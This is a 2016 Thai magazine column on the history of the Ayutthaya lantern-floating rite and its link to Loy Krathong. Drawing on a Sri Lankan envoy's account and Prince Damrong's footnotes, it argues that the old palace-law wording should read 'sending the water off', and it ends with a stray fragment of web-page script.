มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 18 พฤศจิกายน 2559

 

ประเพณี 12 เดือน

 

ลอยโคม ส่งน้ำ

ขอขมาให้น้ำลด

 

           “จองเปรียงลดชุดลอยโคมลงน้ำ” เป็นข้อความเขียนต่อเนื่องกันเรื่องพระราชพิธีเดือน 12 ในกฎมณเฑียรบาล ยุคต้นอยุธยา

           แต่ข้อความว่า “ลอยโคมลงน้ำ” ที่ถูกคือ “ลอยโคมส่งน้ำ”

 

ลอยโคม ยุคอยุธยา

           สมเด็จฯ กรมพระยาดำรงราชานุภาพ ทรงอธิบายไว้ในเชิงอรรถของจดหมายเหตุ ระยะทางราชทูตลังกาเข้ามาขอพระสงฆ์สยาม (พิมพ์ในหนังสือ เรื่องประดิษฐานพระสงฆ์สยามวงศ์ในลังกาทวีป ฉบับมติชน พ.ศ. 2546 หน้า 159) ดังนี้

           “คำที่ว่าลอยโคม ที่เรียกในกฎมณเฑียรบาล บางทีจะหมายความว่า โคมบัวที่ลอยน้ำนี้เอง ในชั้นกรุงรัตนโกสินทร์ ใช้ดอกบัวสด ปักเทียนบ้าง เย็บใบตอง ใบพลับพลึง เป็นกระทงเจิมปักธูปเทียนแลดอกไม้บ้าง ทำเป็นเรือหยวกปักธูปเทียนดอกไม้บ้าง จึงเรียกกันว่าลอยกระทง ไม่ได้เรียกลอยโคมตามกฎหมายเก่า จนเป็นที่ฉงนสนเท่ห์ของผู้ศึกษาโบราณคดี ว่าที่เรียกว่าลอยโคมในกฎมณเฑียรบาลนั้นจะหมายความว่าเอาโคมซึ่งชักในพิธีจองเปรียงเสร็จแล้ว ลงลอยน้ำหรืออย่างไร พึ่งมาเห็นในจดหมายเหตุของราชทูตลังกา ว่าครั้งกรุงเก่าเขาลอยโคมจริงๆ”

           ราชทูตลังกาบอกไว้ในจดหมายเหตุระยะทาง ว่าเห็นประเพณีลอยโคมตามวัดริมแม่น้ำ ดังนี้

           “ตามบรรดาวัดริมฝั่งแม่น้ำทั้ง 2 ฟากทุกวัดต่างปักไม้ไผ่ลำยาวขึ้นเป็นเสา โน้มปลายไม้ลงมาผูกเชือกชักโคมต่างๆ—–”

           “ยังมีโคมกระดาษทำเป็นรูปดอกบัวสีแดงบ้างสีขาวบ้าง มีเทียนจุดอยู่ในนั้น ปล่อยลอยน้ำลงมาเป็นอันมาก จะนับจะประมาณมิได้ นอกจากลอยโคมยังมีการจุดดอกไม้น้ำกันอีกเป็นอันมาก แลมีระบำดนตรีเล่นมาในเรือด้วย”

 

ลอยกระทง ยุครัตนโกสินทร์

           ในเชิงอรรถ สมเด็จฯ กรมพระยาดำรงราชานุภาพระบุชัดเจนว่าลอยกระทงเพิ่งเรียกกันในยุคกรุงรัตนโกสินทร์ (โดยไม่มีชื่อกรุงสุโขทัยกับนางนพมาศ)

 

ลอยโคมส่งน้ำ ไม่ใช่ลงน้ำ

           “ลงน้ำ” (ในข้อความกฎมณเฑียรลดชุดลอยโคมลงน้ำ) สมเด็จฯ กรมพระยาดำรง ราชานุภาพ ทรงมีพระนิพนธ์ในเชิงอรรถอีกตอนหนึ่ง เป็นข้อความเล็กๆ ว่า “ที่จริงส่งน้ำ”

           น่าจะหมายความว่าข้อความที่ถูกต้องคือ ส่งน้ำ ไม่ใช่ลงน้ำ

           ข้อความต่อไปในกฎมณเฑียรบาล พรรณนาว่าพระเจ้าแผ่นดินกับข้าราชบริพาร เสด็จลงเรือ ต่อจากนั้นบอกว่า “ลอยเรือพระที่นั่งลองลงไปส่งน้ำ ครั้นถึงพุทไธศวรรย์ จุดดอกไม้เพลิง เล่นหนัง”

           เท่ากับเป็นหลักฐานว่าสอดคล้องกับความเห็นของสมเด็จฯ กรมพระยาดำรงราชา นุภาพ ที่ว่าส่งน้ำ

           ผมเชื่อตามพระนิพนธ์ของสมเด็จฯ กรมพระยาดำรงราชานุภาพ ว่า “ลอยโคมส่งน้ำ”

           และน่าจะหมายถึงลอยโคมขอขมาผีน้ำผีดินให้โคมลอยไปตามน้ำ เสมือนส่งน้ำเพื่อขอให้ลดลงเร็วๆ ราษฎรจะได้เก็บเกี่ยวพืชพันธุ์ธัญญาหาร จะเห็นว่าเข้ากันได้ดีกับพิธีกรรมอื่นๆ ที่เกี่ยวข้อง เช่น แข่งเรือ, ไล่น้ำ, ฟันน้ำ ฯลฯ

 

จองเปรียง

           จองเปรียง เป็นพิธีพราหมณ์ที่น่าจะทำภายในราชสำนักเท่านั้น ควรจะเป็นอีกส่วนหนึ่งต่างหากไม่เกี่ยวข้องกับ “ลอยโคมส่งน้ำ” ที่ราษฎรทำทั่วไป

           รายละเอียดของจองเปรียงในราชสำนักยุคอยุธยาเป็นอย่างไร ตามที่มีในกฎมณเฑียรบาล ไม่พบเอกสารบอกไว้

           มีชื่อ พิธีจองเปรียง อยู่ในเรื่องนางนพมาศ แต่ไม่มีอธิบายจองเปรียง มีแต่พรรณนาเรื่องทำกระทงของนางนพมาศ ซึ่งเป็นวรรณกรรมสมัย ร.3, ร.4 ไม่ใช่สมัยสุโขทัย

 

เพิ่งพบข้อความ

           “ลอยโคมส่งน้ำ” ผมเพิ่งพบข้อความนี้เมื่ออ่านอีกครั้งหนังสือเรื่องประดิษฐานพระสงฆ์สยามวงศ์ในลังกาทวีป

           หนังสือเล่มนี้พิมพ์ครั้งแรก พ.ศ. 2459 (สมัย ร.6) แล้วพิมพ์ซ้ำต่อมาอีกหลายครั้ง เพราะเป็นหนังสือหลักเรื่องพุทธศาสนาจากลังกา

           ผมเปิดอ่านตั้งแต่ตอนเป็นนักเรียนโบราณคดี แต่อ่านแค่สารบัญ เพราะเป็นหนังสือหนามาก และพื้นความรู้ของผมมีไม่พอจะอ่านรู้เรื่อง

           พ.ศ. 2546 คุณขรรค์ชัย บุนปาน ให้พิมพ์เล่มนี้เป็นศิลปวัฒนธรรมฉบับพิเศษ ผมต้องอ่านตั้งแต่ต้นจนจบทุกตัวอักษร เพื่อตรวจสอบความถูกต้อง แล้วเห็นเรื่องราชทูตลังกาเล่าเรื่องดูลอยโคม กับมีเชิงอรรถของสมเด็จฯ กรมพระยาดำรงราชานุภาพ หมายใจว่าจะยกไปเขียนเรื่องลอยกระทง

           พออ่านผ่านไปแล้วก็ลืมตั้งแต่บัดนั้น เพิ่งมาทบทวนเรื่องอื่นแล้วพบโดยบังเอิญเมื่อเร็วๆ นี้

           เขียนเล่ามานี้เพื่อยืนยัน (ไม่รู้ครั้งที่เท่าไร) ว่าข้อเขียนของผมไม่วิชาการ (มีหลงๆ ลืมๆ อยู่เรื่อยๆ เพราะไม่ท่องและไม่จำ) แต่เป็นแค่คอลัมน์ธรรมดาๆ ที่ยกงานวิชาการของนักวิชาการครูบาอาจารย์ทั้งหลายเป็นหลักในงานเขียนคอลัมน์ โดยไม่ได้วิจัยอย่างเป็นวิชาการด้วยตนเอง จึงขาดตกบกพร่องหลงๆ ลืมๆ ดังกรณีนี้ เมื่อพบอะไรใหม่ก็เอามาเพิ่มเติมได้เรื่อยๆ ไม่เคยสมบูรณ์เหมือนงานวิชาการของนักวิชาการแท้ๆ

           ดังนั้น อย่าหาความก้าวหน้าใหม่ๆ เพราะไม่มี และอย่าหาความถูกต้อง เพราะไม่ใช่ ทุกอย่างต้องตรวจสอบใหม่ทุกเรื่องและทุกครั้ง

โคมจีนลอยแม่น้ำในเมืองจีน ต้นแบบลอยโคมยุคอยุธยา (ภาพจาก http://www.zwbk.org/zh-tw/Lemma_ Show/1602.aspx)

โคมจีนลอยแม่น้ำในเมืองจีน ต้นแบบลอยโคมยุคอยุธยา (ภาพจาก http://www.zwbk.org/zh-tw/Lemma_ Show/1602.aspx)

d.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);